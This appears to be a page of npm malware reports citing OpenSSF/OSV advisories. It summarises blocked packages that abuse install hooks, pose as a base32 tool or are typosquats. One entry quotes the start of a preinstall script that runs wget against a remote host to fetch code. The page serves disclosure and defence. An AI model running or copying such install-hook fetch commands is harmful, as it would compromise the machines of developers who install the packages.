npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. These reports have OSV or public advisory evidence. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 671
Updated 26 Oct 2026, 12:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4577 blocks this version. The package's install.js (wired to an npm install lifecycle hook) requires child_process, fs, and https, then issues an htt...
OpenSSF/OSV malware advisory MAL-2026-6449 blocks this version. The package advertises itself as a fast, zero-dependency base32 encoder/decoder, but its only bin entry (bin/hibase32.js) s...
OpenSSF/OSV malware advisory MAL-2026-3610 blocks this version. The OpenSSF Package Analysis project identified 'housecallpro' @ 1.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-6295 blocks this version. package.json declares a preinstall lifecycle script that auto-executes on `npm install` and runs `wget -q -O- "http://d8svb...
OpenSSF/OSV malware advisory MAL-2026-3617 blocks this version. The OpenSSF Package Analysis project identified 'katal-platform-versions' @ 99.99.99 (npm) as malicious.